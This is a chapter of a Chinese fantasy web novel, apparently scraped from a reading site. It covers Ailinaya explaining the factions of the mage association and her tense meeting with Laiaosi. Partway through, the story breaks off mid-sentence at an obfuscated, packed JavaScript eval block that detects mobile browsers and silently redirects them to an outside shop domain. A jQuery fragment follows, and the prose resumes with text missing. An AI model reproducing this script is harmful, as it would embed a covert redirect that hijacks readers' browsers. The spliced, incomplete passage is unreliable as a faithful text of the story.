“她最后是怎么和你说的?”
埃莱罗在床边尽心尽责给艾莉娜娅削苹果,顺手还拿起一个丢进自己的口中,艾莉娜娅哼了他一声,气鼓鼓地夺过已经切好摆盘的苹果,抓起几个就丢进嘴里:“还能怎么说,老实说莉奥诺拉也不能断定就一定和奥瑞利安无关,但她说的也有道理。”
“那就是,这件事对斯佩菈的统治者们没有任何好处。”
埃莱罗同样是这么认为的,他附和地点头:“如果福斯希斯瑞所言非虚,不是魔族、不是卡德·阿祖尔、也不是奥瑞利安,你觉得会是谁?”
艾莉娜娅对于埃莱罗这番明知故问感到无语,她缓缓歪过头,用眼角余光斜睨向对方,气极反笑:“你说还能有谁?这就只可能是协会那帮老家伙惹出来的麻烦。”
“我不是很了解魔导士协会里的事,”埃莱罗并没有在意艾莉娜娅可以说是有些呛人的语气,毕竟这份怒气并不是冲着自己,他将擦拭干净的水果刀规规矩矩放回原位,抬眸望向艾莉娜娅,拖长语调缓缓开口,“在我的印象中,魔导士协会里面应该都是一些只关心魔法的一群学术疯子,可听你的描述,感觉魔导士协会和斯佩菈的当权者并非一条心,甚至隐约感觉他们可能还在谋划着什么对帝国不利的事?”
艾莉娜娅叹了一口气,说实话,她是不愿意把埃莱罗掺和进这些事的,但奈何他们马上就要去斯佩尔霍普,让埃莱罗了解一些反而对他有利:“……其实大部分确实是对什么都不关心的学术疯子,例如我的爷爷和他的死对头伊格妮丝女士,但协会不可能只靠着这群不问身外之物的魔导士活下去。”
埃莱罗感同身受点头,艾莉娜娅看他这副样子就知道八成又想抱怨自己开销大,气的给埃莱罗一个脑瓜崩:“我的花销都是正常花销!”
“饶了我吧大小姐,”埃莱罗举手投降,“我可什么都没说。”
艾莉娜娅冷哼一声扭过头,没纠缠这个话题不放,继续对魔导士协会的情况进行补充:“为了保证协会正常运转,还需要有专人来管理魔导士考核、生活起居、日常开销甚至是想办法创收,而随着这些人的数量逐渐在协会占据绝大多数,原本纯粹为了魔法的协会也开始变质,在现在的魔导士协会,就算是首席魔导士,在协会说话的份量依旧不如协会会长。”
艾莉娜娅顿了顿,补充道:“像莱奥斯,就是会长强行塞到爷爷手中的。”
“既然这样,协会不更应该站在奥瑞利安这一边吗?”埃莱罗有些不理解,“奥瑞利安贵族不可能不会不给协会好处的吧。”
“这就是问题所在了,”艾莉娜娅又忍不住长叹一口气,“奥瑞利安绝大多数贵族和帝国可不是一条心啊。”
“目前在斯佩菈,君王的权力不断被架空,尤其在哨所横空出世后,可以说帝国已经沦为了吉祥物的存在,如果是你,有不输于帝国的财富和权利,却限制于道德舆论不得不向仰仗你鼻息的人低头,你会不会也想着为什么那个位置上的人不能是我?”
埃莱罗认真思考了一下:“有道理,但我更有可能会觉得那个位置也没什么好的,说不定真的坐上去了反而不如我现在自在。”
“你这种想法也是一部分贵族的想法,”艾莉娜娅耸耸肩,没反驳埃莱罗的观点,“所以现在奥瑞利安分成了三派,一派就是醉生梦死吃喝玩乐的贵族派,谁是斯佩菈的君王对他们来说都不重要,阿黛拉的家族就是其中的主要代表,其它两派也在试图拉拢他们,另外两派分别押宝魔导士协会和哨所,但哨所毕竟还比较年轻,内部管理也相当严格,总负责人更是对贵族嗤之以鼻,所以绝大多数想要推翻或者变动现有权力结构的,都渗透进了魔导士协会。”
“嘶——”
从艾莉娜娅的话语中,埃莱罗隐约感觉到此次斯佩尔霍普之行并不会太平,但他同时也忍不住去想,难道父母的失踪和斯佩菈明争暗斗的权力争夺也有关系吗?
不等他多想,刚刚艾莉娜娅提到的阿黛拉小姐,就拽着菲林诺的胳膊推门走进了房间:“艾莉娜娅大人,不知道你现在可方便,莱奥斯说他有话想当面和你说。”
“哈?”艾莉娜娅撇撇嘴,她对莱奥斯可没有对埃莱罗这么多的耐心,更何况埃莱罗也不会派人传话让她一个病号出去,当然,她其实早就痊愈了,只是一直赖在教堂不走,“还真是摆谱啊,有什么事他直接过来说不就好了。”
阿黛拉望向还坐在床边的埃莱罗,脸上还挂着让人挑不出错的得体微笑,伴随着一声难以察觉的极短呼声,笑着摇头:“艾莉娜娅大人,我就只是个传话的,更别提还被打扰了和菲林诺大人的约会,有什么火气你就找莱奥斯那家伙发去吧。”
埃莱罗眨了眨眼,随即露出一抹幸灾乐祸的微笑,朝被阿黛拉死死钳住的菲林诺挑挑眉,像是在说:“你也有今天。”
菲林诺可不敢得罪阿黛拉,只能用眼神瞪了回去,配上他那张漂亮到无可挑剔的脸蛋,倒显得有些我见犹怜。
“更何况,”阿黛拉继续补充道,“教堂人多口杂,莱奥斯说,他不希望这次谈话有三人在场。”
这几乎就等于在点埃莱罗的名,不说还好,埃莱罗本来也没那么想知道莱奥斯要说什么,这么一说埃莱罗反而冷下脸来。
艾莉娜娅见状,抱胸冷笑一声:“埃莱罗是我的人,他没什么不能听的。”
阿黛拉扶额苦笑:“那也不行,除非他不是人。”
最后艾莉娜娅还是在一边持续不断针对莱奥斯发牢骚中一边整理仪容仪表,在勉强算是成功击败福斯之后,艾莉娜娅就在教堂躺了整整三天没下床,一方面是她当时众目睽睽之下受了那么重的伤,能活过来已是奇迹,要是一番简单包扎之后就痊愈了难免惹人怀疑。
另一方面,则是她再不想掺和进卡德·阿祖尔的事了,不知是不是这次卡德·阿祖尔损失惨重,莫丁罕见地面对莉奥诺拉强硬了起来,对于对方提出的要求卡德·阿祖尔对牺牲的人类贵族进行补偿慰问的请求一口回绝,并要求重新签订双方平等互不干涉条约,这段时间莉奥诺拉和索林也没少来找艾莉娜娅,要不是莫丁自己受了伤暂时不能奔波劳累,怕是要亲自来拉拢艾莉娜娅。
艾莉娜娅现在只有一个想法,那就是希望奥瑞利安使团赶紧离开,她和埃莱罗等人好继续上路。
这也就是艾莉娜娅答应莱奥斯会面的另一个原因了,七八成这是莱奥斯离开卡德·阿祖尔他们最后一次见面,艾莉娜娅也难免会好奇这位人模狗样的同门师兄到底会说些什么。
艾莉娜娅按照约定的时间来到卡德·阿祖尔一家隐蔽的小酒馆的二楼,她真的是佩服莱奥斯,居然还能找到这么偏僻的地方。
大约是提前吩咐过的原因,在迅速给艾莉娜娅上了一份黄油布丁之后,应该是经营这家酒馆的矮人老板
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550046|203574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
立刻关上门,几乎是跑着下了楼。
莱奥斯将布丁推向艾莉娜娅:“我记得你喜欢吃甜食,尝尝这家怎么样。”
艾莉娜娅没心情陪他演兄妹情深的戏码,冷漠地将那一盘比其他地方都要大上不少的布丁推了回去:“有话快说。”
“唉,”莱奥斯轻轻扯了扯嘴角,像是在面对不讲道理的妹妹,带了些纵容的意味,“艾莉娜娅,平心而论,我虽不是什么好人,却也没对你做过什么坏事吧。”
“那是因为我目前对你来说还有点用,”艾莉娜娅用力地揉了揉太阳穴,眼神中闪过一丝不耐烦,“没什么事我就先回去了。”
“艾莉娜娅,”莱奥斯喊住准备起身离开的艾莉娜娅,他收敛了笑意,面无表情地望向对方,“如果你真心为埃莱罗好,就不应该听他的去斯佩尔霍普。”
艾莉娜娅轻笑出声,终于肯分一丝余光给坐在对面的莱奥斯:“我以为你会很乐意我回斯佩尔霍普看看?”
莱奥斯身体后仰靠在椅背上,手指有一搭没一搭敲击着桌面:“艾莉娜娅,你到底知不知道协会有多少人在盯着你,他们不可能放任你和一个无法被他们掌控的人走的太近,你如果真的想保护埃莱罗,就听我的话今晚和我一起回去。”
艾莉娜娅沉默了一瞬,随即拉开座椅起身向外:“这就你要说的话?既然说完了我就走了。”
“艾莉娜娅,我从来没有想对你做过任何你不愿意的事,”莱奥斯带上些气恼的声音在身后传来,“甚至家族给我下达的命令只要能拦得我都替你拦了下来,我不理解你为什么始终对我抱有如此强烈的敌意?”
“甚至为了你,我也出力对抗路魔族,也受了伤,你为什么就不能记我的好呢?”
艾莉娜娅转过头,眼皮微微掀起,轻蔑的目光落在莱奥斯身上:“那当然是因为,你做再多也改变不了本质就是一个人渣的事实。”
说完,艾莉娜娅就推开门走了出去,在走到楼梯口的时候,她听见刚刚离开的那间房传来了瓷器碎裂的声响。
直到夜晚,艾莉娜娅趴在窗台上看着楼下跟在莫丁身后送别奥瑞利安使团众人的埃莱罗和菲林诺,阿黛拉依依不舍地拉着菲林诺要他亲吻自己的手指,而莱奥斯连看都没看埃莱罗一眼,径直上了挂有鸢尾花纹车帘的马车。
“我不理解你为什么对莱奥斯先生会有这么大怨气,”奈丽莎走到艾莉娜娅身后,越过她望下下方装饰华贵的马车群,“他看起来和奥瑞利安使者大多一样,甚至还要更友善一些。”
“我无法原谅他,我无法认同他。”艾莉娜娅起身拉上了窗帘,“早点休息吧,明早我们就要和伊戈缇亚女士一起前往斯佩尔霍普。”
而此时在车厢内的莱奥斯,一脚蹬开仆人刚摆好的黄铜脚凳,嘴里骂骂咧咧:“和那个老不死一个德行,仗着自己那点天赋当真把自己当小祖宗了?一个两个都要我供着哄着是吧,我可去你的,你们最好祈祷别有落我手上的一天。”
被连着脚蹬一起踢翻的仆人见怪不怪,连忙从地上爬起,从随身携带口袋中拿出不过盈寸的银匣,谄媚地递给莱奥斯:“别生气少爷,把身体气坏了可就太不值得了。”
莱奥斯见到那银匣的瞬间,迫不及待一把夺了过来,随着马车的晃动,烟气在车厢内散开,他阖上眼伸出手,似要将这一团烟雾抓进手中,他喃喃自语道:“艾莉娜娅……”